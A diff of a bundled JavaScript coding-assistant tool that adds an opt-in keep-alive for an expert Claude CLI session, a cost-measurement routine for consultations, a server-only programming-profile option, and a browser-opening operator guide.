@@ -63641,9 +63895,24 @@ function wireChatBridge(services) {
|
|
|
63641
63895
|
else
|
|
63642
63896
|
expertSpend.unpriced += 1;
|
|
63643
63897
|
postExpertSpend();
|
|
63898
|
+
if (info.isError)
|
|
63899
|
+
return;
|
|
63900
|
+
const learned = info.costUsd !== void 0;
|
|
63901
|
+
if (cachedReportsCost === learned)
|
|
63902
|
+
return;
|
|
63903
|
+
cachedReportsCost = learned;
|
|
63904
|
+
void configManager.load().then(async ({ config: config2 }) => {
|
|
63905
|
+
await configManager.save("user", { ...config2, expert: { ...config2.expert, reportsCost: learned } });
|
|
63906
|
+
await postExpert();
|
|
63907
|
+
}).catch(() => {
|
|
63908
|
+
});
|
|
63644
63909
|
}
|
|
63645
63910
|
let cachedModeId;
|
|
63646
63911
|
let cachedCodeGenerator;
|
|
63912
|
+
let cachedReportsCost;
|
|
63913
|
+
let measuringStep;
|
|
63914
|
+
let cachedPricing;
|
|
63915
|
+
let cachedKeepAlive = false;
|
|
63647
63916
|
let cachedProgrammingProfileId;
|
|
63648
63917
|
async function loadSettings() {
|
|
63649
63918
|
const { config: config2 } = await configManager.load();
|
|
@@ -63655,6 +63924,11 @@ function wireChatBridge(services) {
|
|
|
63655
63924
|
cachedAccentColor = config2.ui?.accentColor ?? "#22C55E";
|
|
63656
63925
|
cachedExpertColor = config2.ui?.expertColor ?? "#D97757";
|
|
63657
63926
|
cachedAssessment = config2.expert?.assessment;
|
|
63927
|
+
cachedReportsCost = config2.expert?.reportsCost;
|
|
63928
|
+
cachedPricing = config2.expert?.pricing;
|
|
63929
|
+
cachedKeepAlive = config2.expert?.keepAlive === true;
|
|
63930
|
+
if (!cachedKeepAlive)
|
|
63931
|
+
stopKeepAlive();
|
|
63658
63932
|
cachedExpertLimits = {
|
|
63659
63933
|
...config2.expert?.maxSpendUsd !== void 0 ? { maxSpendUsd: config2.expert.maxSpendUsd } : {},
|
|
63660
63934
|
...config2.expert?.maxConsultations !== void 0 ? { maxConsultations: config2.expert.maxConsultations } : {}
|
|
@@ -63677,12 +63951,13 @@ function wireChatBridge(services) {
|
|
|
63677
63951
|
expertColor: cachedExpertColor,
|
|
63678
63952
|
readRoots: cachedReadRoots,
|
|
63679
63953
|
...cachedProgrammingProfileId !== void 0 ? { programmingProfileId: cachedProgrammingProfileId } : {},
|
|
63680
|
-
...
|
|
63954
|
+
...hostCapabilities()
|
|
63681
63955
|
});
|
|
63682
63956
|
}
|
|
63683
|
-
function
|
|
63957
|
+
function hostCapabilities() {
|
|
63684
63958
|
return {
|
|
63685
63959
|
nativeGuide: ui.openWalkthrough !== void 0,
|
|
63960
|
+
allowProgrammingProfile: services.allowProgrammingProfile === true,
|
|
63686
63961
|
...services.guideMediaBase !== void 0 ? { guideMediaBase: services.guideMediaBase } : {}
|
|
63687
63962
|
};
|
|
63688
63963
|
}
|
|
@@ -63792,7 +64067,11 @@ function wireChatBridge(services) {
|
|
|
63792
64067
|
// Read at call time, not captured: the user can raise the limit mid-task and the very
|
|
63793
64068
|
// next consultation should honour it, without starting a new task to pick it up.
|
|
63794
64069
|
budget: () => checkExpertBudget(expertSpend, effectiveExpertLimits()),
|
|
63795
|
-
|
|
64070
|
+
/*
|
|
64071
|
+
* The measured cost goes with the budget, so the expert plans in this deployment's
|
|
64072
|
+
* units rather than from what it believes consultations cost in general.
|
|
64073
|
+
*/
|
|
64074
|
+
budgetSummary: () => describeExpertBudget(expertSpend, effectiveExpertLimits(), pricingForPrompt(cachedPricing)),
|
|
63796
64075
|
onEstimate: (estimate) => {
|
|
63797
64076
|
taskExpertEstimate = estimate;
|
|
63798
64077
|
postExpertSpend();
|
|
@@ -63801,6 +64080,8 @@ function wireChatBridge(services) {
|
|
|
63801
64080
|
get: () => expertSessionId,
|
|
63802
64081
|
set: (sessionId) => {
|
|
63803
64082
|
expertSessionId = sessionId;
|
|
64083
|
+
if (sessionId !== void 0 && cachedKeepAlive)
|
|
64084
|
+
ensureKeepAlive();
|
|
63804
64085
|
}
|
|
63805
64086
|
},
|
|
63806
64087
|
/*
|
|
@@ -64368,18 +64649,29 @@ function wireChatBridge(services) {
|
|
|
64368
64649
|
logger.warn(`could not check the expert CLI: ${reason}`);
|
|
64369
64650
|
const settings = await configManager.load().then((loaded) => loaded.config.expert, () => void 0);
|
|
64370
64651
|
post({
|
|
64371
|
-
|
|
64372
|
-
enabled: settings?.enabled === true,
|
|
64652
|
+
...expertMessageFrom(settings),
|
|
64373
64653
|
available: false,
|
|
64374
64654
|
path: settings?.path ?? expertCliPath ?? "claude",
|
|
64375
|
-
reason: `Could not check whether the Claude CLI is available: ${reason}
|
|
64376
|
-
...settings?.model !== void 0 ? { model: settings.model } : {},
|
|
64377
|
-
maxSpendUsd: settings?.maxSpendUsd ?? 0,
|
|
64378
|
-
maxConsultations: settings?.maxConsultations ?? 0,
|
|
64379
|
-
...settings?.assessment !== void 0 ? { assessment: settings.assessment } : {}
|
|
64655
|
+
reason: `Could not check whether the Claude CLI is available: ${reason}`
|
|
64380
64656
|
});
|
|
64381
64657
|
}
|
|
64382
64658
|
}
|
|
64659
|
+
function expertMessageFrom(settings) {
|
|
64660
|
+
return {
|
|
64661
|
+
type: "expert",
|
|
64662
|
+
enabled: settings?.enabled === true,
|
|
64663
|
+
available: false,
|
|
64664
|
+
path: settings?.path ?? expertCliPath ?? "claude",
|
|
64665
|
+
maxSpendUsd: settings?.maxSpendUsd ?? 0,
|
|
64666
|
+
maxConsultations: settings?.maxConsultations ?? 0,
|
|
64667
|
+
keepAlive: settings?.keepAlive === true,
|
|
64668
|
+
...settings?.model !== void 0 ? { model: settings.model } : {},
|
|
64669
|
+
...settings?.assessment !== void 0 ? { assessment: settings.assessment } : {},
|
|
64670
|
+
...settings?.reportsCost !== void 0 ? { reportsCost: settings.reportsCost } : {},
|
|
64671
|
+
...settings?.pricing !== void 0 ? { pricing: settings.pricing } : {},
|
|
64672
|
+
...measuringStep !== void 0 ? { measuringStep } : {}
|
|
64673
|
+
};
|
|
64674
|
+
}
|
|
64383
64675
|
async function postExpertInner(redetect) {
|
|
64384
64676
|
const { config: config2 } = await configManager.load();
|
|
64385
64677
|
const configured = config2.expert?.path ?? "claude";
|
|
@@ -64387,19 +64679,125 @@ function wireChatBridge(services) {
|
|
|
64387
64679
|
expertCli = detected;
|
|
64388
64680
|
expertCliPath = configured;
|
|
64389
64681
|
post({
|
|
64390
|
-
|
|
64391
|
-
|
|
64682
|
+
// Everything from settings comes from one place, so the two paths cannot drift again.
|
|
64683
|
+
...expertMessageFrom(config2.expert),
|
|
64392
64684
|
available: detected.available,
|
|
64393
64685
|
path: configured,
|
|
64394
64686
|
...detected.version !== void 0 ? { version: detected.version } : {},
|
|
64395
64687
|
...detected.reason !== void 0 ? { reason: detected.reason } : {},
|
|
64396
|
-
...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
|
|
64397
|
-
maxSpendUsd: config2.expert?.maxSpendUsd ?? 0,
|
|
64398
|
-
maxConsultations: config2.expert?.maxConsultations ?? 0,
|
|
64399
|
-
...config2.expert?.assessment !== void 0 ? { assessment: config2.expert.assessment } : {},
|
|
64400
64688
|
...assessmentStep === void 0 ? {} : { assessing: true, assessmentStep }
|
|
64401
64689
|
});
|
|
64402
64690
|
}
|
|
64691
|
+
const KEEP_ALIVE_MS = 50 * 60 * 1e3;
|
|
64692
|
+
let keepAliveTimer;
|
|
64693
|
+
function stopKeepAlive() {
|
|
64694
|
+
if (keepAliveTimer === void 0)
|
|
64695
|
+
return;
|
|
64696
|
+
clearInterval(keepAliveTimer);
|
|
64697
|
+
keepAliveTimer = void 0;
|
|
64698
|
+
}
|
|
64699
|
+
function ensureKeepAlive() {
|
|
64700
|
+
if (keepAliveTimer !== void 0)
|
|
64701
|
+
return;
|
|
64702
|
+
keepAliveTimer = setInterval(() => {
|
|
64703
|
+
void runKeepAlive();
|
|
64704
|
+
}, KEEP_ALIVE_MS);
|
|
64705
|
+
keepAliveTimer.unref?.();
|
|
64706
|
+
}
|
|
64707
|
+
async function runKeepAlive() {
|
|
64708
|
+
const session = expertSessionId;
|
|
64709
|
+
if (session === void 0) {
|
|
64710
|
+
stopKeepAlive();
|
|
64711
|
+
return;
|
|
64712
|
+
}
|
|
64713
|
+
try {
|
|
64714
|
+
const { config: config2 } = await configManager.load();
|
|
64715
|
+
if (config2.expert?.keepAlive !== true) {
|
|
64716
|
+
stopKeepAlive();
|
|
64717
|
+
return;
|
|
64718
|
+
}
|
|
64719
|
+
const verdict = checkExpertBudget(expertSpend, effectiveExpertLimits());
|
|
64720
|
+
if (!verdict.allowed) {
|
|
64721
|
+
logger.info("expert keep-alive stopped: the budget for this task is spent");
|
|
64722
|
+
stopKeepAlive();
|
|
64723
|
+
return;
|
|
64724
|
+
}
|
|
64725
|
+
const cli = await resolveExpert(config2);
|
|
64726
|
+
if (cli === void 0) {
|
|
64727
|
+
stopKeepAlive();
|
|
64728
|
+
return;
|
|
64729
|
+
}
|
|
64730
|
+
const answer = await consultExpert(cli, {
|
|
64731
|
+
question: PRICING_PROBE,
|
|
64732
|
+
cwd: workspaceRoot ?? process.cwd(),
|
|
64733
|
+
...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
|
|
64734
|
+
resumeSessionId: session
|
|
64735
|
+
}, logger);
|
|
64736
|
+
expertSpend.keepAlives += 1;
|
|
64737
|
+
if (answer.costUsd !== void 0)
|
|
64738
|
+
expertSpend.usd += answer.costUsd;
|
|
64739
|
+
if (answer.sessionId !== void 0)
|
|
64740
|
+
expertSessionId = answer.sessionId;
|
|
64741
|
+
postExpertSpend();
|
|
64742
|
+
logger.info("expert keep-alive refreshed the session cache");
|
|
64743
|
+
} catch (error51) {
|
|
64744
|
+
logger.warn(`expert keep-alive failed: ${String(error51)}`);
|
|
64745
|
+
}
|
|
64746
|
+
}
|
|
64747
|
+
async function handleMeasureExpertCost() {
|
|
64748
|
+
if (measuringStep !== void 0) {
|
|
64749
|
+
post({ type: "error", message: `Already measuring \u2014 ${measuringStep}` });
|
|
64750
|
+
return;
|
|
64751
|
+
}
|
|
64752
|
+
measuringStep = "Starting\u2026";
|
|
64753
|
+
logger.info("measuring what an expert consultation costs");
|
|
64754
|
+
await postExpert({ redetect: false });
|
|
64755
|
+
try {
|
|
64756
|
+
const { config: config2 } = await configManager.load();
|
|
64757
|
+
const cli = await resolveExpert(config2);
|
|
64758
|
+
if (cli === void 0) {
|
|
64759
|
+
post({
|
|
64760
|
+
type: "error",
|
|
64761
|
+
message: "The Claude CLI could not be found, so there is nothing to measure. Check the path in this tab."
|
|
64762
|
+
});
|
|
64763
|
+
return;
|
|
64764
|
+
}
|
|
64765
|
+
let sessionId;
|
|
64766
|
+
const samples = [];
|
|
64767
|
+
for (const [index, label] of ["first consultation", "follow-up in the same session"].entries()) {
|
|
64768
|
+
measuringStep = `Measuring the ${label} (${String(index + 1)}/2)\u2026`;
|
|
64769
|
+
await postExpert({ redetect: false });
|
|
64770
|
+
const answer = await consultExpert(cli, {
|
|
64771
|
+
question: PRICING_PROBE,
|
|
64772
|
+
cwd: workspaceRoot ?? process.cwd(),
|
|
64773
|
+
...config2.expert?.model !== void 0 ? { model: config2.expert.model } : {},
|
|
64774
|
+
// Cold on the first pass, resumed on the second. That pair is the measurement.
|
|
64775
|
+
...sessionId !== void 0 ? { resumeSessionId: sessionId } : {}
|
|
64776
|
+
}, logger);
|
|
64777
|
+
samples.push(answer.costUsd);
|
|
64778
|
+
sessionId = answer.sessionId ?? sessionId;
|
|
64779
|
+
}
|
|
64780
|
+
const [cold, resumed] = samples;
|
|
64781
|
+
const reportsCost = cold !== void 0 || resumed !== void 0;
|
|
64782
|
+
const pricing = {
|
|
64783
|
+
measuredAt: Date.now(),
|
|
64784
|
+
reportsCost,
|
|
64785
|
+
...cold !== void 0 ? { coldUsd: cold } : {},
|
|
64786
|
+
...resumed !== void 0 ? { resumedUsd: resumed } : {}
|
|
64787
|
+
};
|
|
64788
|
+
const { config: current } = await configManager.load();
|
|
64789
|
+
await configManager.save("user", {
|
|
64790
|
+
...current,
|
|
64791
|
+
expert: { ...current.expert, pricing, reportsCost }
|
|
64792
|
+
});
|
|
64793
|
+
logger.info(reportsCost ? `expert pricing measured: cold ${String(cold)} / resumed ${String(resumed)}` : "expert pricing measured: this plan reports no cost per consultation");
|
|
64794
|
+
} catch (error51) {
|
|
64795
|
+
post({ type: "error", message: `Could not measure the expert's cost: ${String(error51)}` });
|
|
64796
|
+
} finally {
|
|
64797
|
+
measuringStep = void 0;
|
|
64798
|
+
await postExpert({ redetect: false });
|
|
64799
|
+
}
|
|
64800
|
+
}
|
|
64403
64801
|
async function handleAssessJunior() {
|
|
64404
64802
|
if (assessmentStep !== void 0)
|
|
64405
64803
|
return;
|
|
@@ -65227,6 +65625,8 @@ function wireChatBridge(services) {
|
|
|
65227
65625
|
}
|
|
65228
65626
|
}
|
|
65229
65627
|
function codeGeneratorFor(config2) {
|
|
65628
|
+
if (services.allowProgrammingProfile !== true)
|
|
65629
|
+
return void 0;
|
|
65230
65630
|
const id = config2.programmingProfileId;
|
|
65231
65631
|
if (id === void 0 || id.length === 0)
|
|
65232
65632
|
return void 0;
|
|
@@ -65258,7 +65658,7 @@ function wireChatBridge(services) {
|
|
|
65258
65658
|
accentColor: cachedAccentColor,
|
|
65259
65659
|
expertColor: cachedExpertColor,
|
|
65260
65660
|
readRoots: cachedReadRoots,
|
|
65261
|
-
...
|
|
65661
|
+
...hostCapabilities()
|
|
65262
65662
|
});
|
|
65263
65663
|
}
|
|
65264
65664
|
async function handleAlwaysAllow(id, scope) {
|
|
@@ -65661,6 +66061,21 @@ function wireChatBridge(services) {
|
|
|
65661
66061
|
...message.maxConsultations !== void 0 ? { maxConsultations: message.maxConsultations } : {}
|
|
65662
66062
|
};
|
|
65663
66063
|
postExpertSpend();
|
|
66064
|
+
} else if (message.type === "setExpertKeepAlive") {
|
|
66065
|
+
void configManager.load().then(async ({ config: config2 }) => {
|
|
66066
|
+
await configManager.save("user", { ...config2, expert: { ...config2.expert, keepAlive: message.enabled } });
|
|
66067
|
+
await postExpert({ redetect: false });
|
|
66068
|
+
}).catch((error51) => post({ type: "error", message: String(error51) }));
|
|
66069
|
+
} else if (message.type === "measureExpertCost") {
|
|
66070
|
+
void handleMeasureExpertCost();
|
|
66071
|
+
} else if (message.type === "clearExpertPricing") {
|
|
66072
|
+
void configManager.load().then(async ({ config: config2 }) => {
|
|
66073
|
+
const expert = { ...config2.expert };
|
|
66074
|
+
delete expert.pricing;
|
|
66075
|
+
delete expert.reportsCost;
|
|
66076
|
+
await configManager.save("user", { ...config2, expert });
|
|
66077
|
+
await postExpert({ redetect: false });
|
|
66078
|
+
}).catch((error51) => post({ type: "error", message: String(error51) }));
|
|
65664
66079
|
} else if (message.type === "assessJunior") {
|
|
65665
66080
|
void handleAssessJunior();
|
|
65666
66081
|
} else if (message.type === "clearAssessment") {
|
|
@@ -66130,6 +66545,7 @@ ${entry.content}`);
|
|
|
66130
66545
|
clearTimeout(docsReindexTimer);
|
|
66131
66546
|
if (scheduleTimer !== void 0)
|
|
66132
66547
|
clearInterval(scheduleTimer);
|
|
66548
|
+
stopKeepAlive();
|
|
66133
66549
|
unsubscribe();
|
|
66134
66550
|
}
|
|
66135
66551
|
};
|
|
@@ -66728,10 +67144,10 @@ function readSmall(raw, params) {
|
|
|
66728
67144
|
const end = params.limit !== void 0 ? start + params.limit : lines.length;
|
|
66729
67145
|
return number4(lines.slice(start, end), start + 1);
|
|
66730
67146
|
}
|
|
66731
|
-
async function readLarge(
|
|
67147
|
+
async function readLarge(fs24, realPath, params, size) {
|
|
66732
67148
|
const human = formatBytes(size);
|
|
66733
67149
|
if (params.tail !== void 0) {
|
|
66734
|
-
const part = await readTail(
|
|
67150
|
+
const part = await readTail(fs24, realPath, size, params.tail);
|
|
66735
67151
|
return [
|
|
66736
67152
|
`${human} file \u2014 last ${String(part.lines.length)} lines.`,
|
|
66737
67153
|
/*
|
|
@@ -66746,7 +67162,7 @@ async function readLarge(fs23, realPath, params, size) {
|
|
|
66746
67162
|
}
|
|
66747
67163
|
if (params.offset !== void 0) {
|
|
66748
67164
|
const limit = params.limit ?? DEFAULT_LARGE_LIMIT;
|
|
66749
|
-
const part = await readLineWindow(
|
|
67165
|
+
const part = await readLineWindow(fs24, realPath, size, params.offset, limit);
|
|
66750
67166
|
const shown = part.lines.length;
|
|
66751
67167
|
return [
|
|
66752
67168
|
`${human} file \u2014 lines ${String(params.offset)}\u2013${String(params.offset + shown - 1)}${part.hasMoreAfter ? ", more follows" : " (end of file)"}.`,
|
|
@@ -66754,7 +67170,7 @@ async function readLarge(fs23, realPath, params, size) {
|
|
|
66754
67170
|
number4(part.lines, params.offset)
|
|
66755
67171
|
].join("\n");
|
|
66756
67172
|
}
|
|
66757
|
-
const total = await countLines(
|
|
67173
|
+
const total = await countLines(fs24, realPath, size);
|
|
66758
67174
|
return [
|
|
66759
67175
|
`${realPathName(realPath)} is ${human} (${total.toLocaleString()} lines) \u2014 too large to read at once.`,
|
|
66760
67176
|
"",
|
|
@@ -67534,6 +67950,12 @@ async function createSession(options) {
|
|
|
67534
67950
|
* also survives whatever port the server happened to bind.
|
|
67535
67951
|
*/
|
|
67536
67952
|
guideMediaBase: "/guide",
|
|
67953
|
+
/*
|
|
67954
|
+
* Offered here and nowhere else. A shared server is where "a cheap model chats, a good one
|
|
67955
|
+
* writes the code" is worth configuring — and where an administrator can set a default for
|
|
67956
|
+
* people who have not chosen.
|
|
67957
|
+
*/
|
|
67958
|
+
allowProgrammingProfile: true,
|
|
67537
67959
|
...options.submitForReview !== void 0 ? { submitForReview: options.submitForReview } : {},
|
|
67538
67960
|
/*
|
|
67539
67961
|
* Resolved per read, so both halves stay live — an administrator's edit and the user's own
|
|
@@ -67947,8 +68369,17 @@ async function main() {
|
|
|
67947
68369
|
return;
|
|
67948
68370
|
}
|
|
67949
68371
|
if (args.includes("--guide")) {
|
|
67950
|
-
|
|
67951
|
-
|
|
68372
|
+
if (args.includes("--no-open")) {
|
|
68373
|
+
process.stdout.write(renderGuide(process.stdout.isTTY === true));
|
|
68374
|
+
process.stdout.write("\n");
|
|
68375
|
+
return;
|
|
68376
|
+
}
|
|
68377
|
+
const file2 = path28.join(os2.tmpdir(), "light-code-guide.html");
|
|
68378
|
+
await fs23.writeFile(file2, guidePage(OPERATOR_GUIDE), "utf8");
|
|
68379
|
+
process.stdout.write(`Opening the guide: ${file2}
|
|
68380
|
+
(--guide --no-open prints it instead.)
|
|
68381
|
+
`);
|
|
68382
|
+
openBrowser(pathToFileURL(file2).href);
|
|
67952
68383
|
return;
|
|
67953
68384
|
}
|
|
67954
68385
|
const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
|
|
@@ -68127,9 +68558,9 @@ Usage: light-code [options]
|
|
|
68127
68558
|
refused, which is the safe direction to fail
|
|
68128
68559
|
--user-header <h> Header carrying the user id (default X-Forwarded-User)
|
|
68129
68560
|
--bind <address> Interface to listen on (default: 127.0.0.1)
|
|
68130
|
-
--guide
|
|
68131
|
-
who can change what, and what it does not
|
|
68132
|
-
against.
|
|
68561
|
+
--guide Open the operator guide in your browser \u2014 setting up
|
|
68562
|
+
shared mode, who can change what, and what it does not
|
|
68563
|
+
protect against. Add --no-open to print it instead
|
|
68133
68564
|
-h, --help This message
|
|
68134
68565
|
|
|
68135
68566
|
Binds 127.0.0.1 unless --bind says otherwise. Anything that can reach the port
|